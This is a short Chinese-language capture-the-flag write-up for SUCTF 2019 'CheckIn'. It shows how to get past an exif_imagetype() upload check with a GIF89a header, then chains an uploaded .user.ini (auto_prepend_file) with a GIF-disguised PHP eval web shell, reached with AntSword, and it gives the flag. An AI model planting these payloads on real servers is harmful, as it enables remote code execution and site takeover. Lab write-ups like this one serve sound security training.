[SUCTF 2019]CheckIn
在首页给了一个github网址,点击进入
在src里面发现了index.php
index.php是关于文件上传的过滤规则
可以看到,使用exif_imagetype()函数对传上来的文件进行了判断
可以使用文件头 GIF 89a进行绕过
在writeup里面找到了README.md,给了一个提示 .user.ini
根据他的提示,去查了.user.ini的资料
链接在这里:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
简单来说,就是可以使用.user.ini文件来包含任意一个文件,并且让他执行
那么
首先创建一个.user.ini文件
内容为:
GIF 89a
auto_prepend_file=01.gif
将它上传到服务器
随后创建一个01.gif,这个名字应该与.user.ini包含文件的名字相同
内容
GIF89a
<script language="php">eval($_POST['123']);</script>
将两个文件分别上传到服务器
url为:
http://25ad103c-0d31-47b1-9ade-4b5a8cf59798.node3.buuoj.cn/
uploads/04b0951938d905b41348c1548f9c338b/index.php
随后使用蚁剑进行连接
flag为
flag{262c0abb-a92e-4deb-91fd-a1cfc50e5471}